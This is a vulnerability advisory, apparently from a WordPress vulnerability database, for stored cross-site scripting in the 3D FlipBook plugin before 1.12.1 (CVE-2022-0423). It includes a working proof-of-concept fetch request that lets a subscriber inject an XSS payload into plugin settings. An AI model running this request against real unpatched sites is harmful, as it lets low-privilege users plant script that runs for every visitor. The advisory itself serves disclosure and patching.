3D FlipBook < 1.12.1 – Subscriber+ Stored Cross-Site Scripting | CVE 2022-0423 | Plugin Vulnerabilities

Description

The plugin does not have authorisation and CSRF checks when updating its settings, and does not have any sanitisation/escaping, allowing any authenticated users, such as subscriber to put Cross-Site Scripting payloads in all pages with a 3d flipbook.

Proof of Concept

As a subscriber:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=fb3d_receive_book_control_props&props[lightbox][default]=xxx\"><img src onerror=alert(/XSS/)>",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

The XSS will be triggered in all pages with a 3d flipbook

Affects Plugins

interactive-3d-flipbook-powered-physics-engine

Fixed in 1.12.1

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

7dde0b9d-9b86-4961-b005-a11b6ffba952

Timeline

Publicly Published

2022-02-28 (about 3 years ago)

Added

2022-02-28 (about 3 years ago)

Last Updated

2022-04-17 (about 3 years ago)

Other

Published

Title

Published

2025-09-01

Title

Markup Markdown < 3.20.10 - Contributor+ Stored XSS

Published

2024-03-09

Title

Save as PDF by Pdfcrowd < 3.2.2 - Admin+ Stored XSS

Published

2024-03-25

Title

HT Mega < 2.4.4 - Contributor+ Stored XSS

Published

2022-01-24

Title

Advanced Database Cleaner < 3.0.4 - Reflected Cross-Site Scripting

Published

2014-08-01

Title

ABC Test - "id" Cross-Site Scripting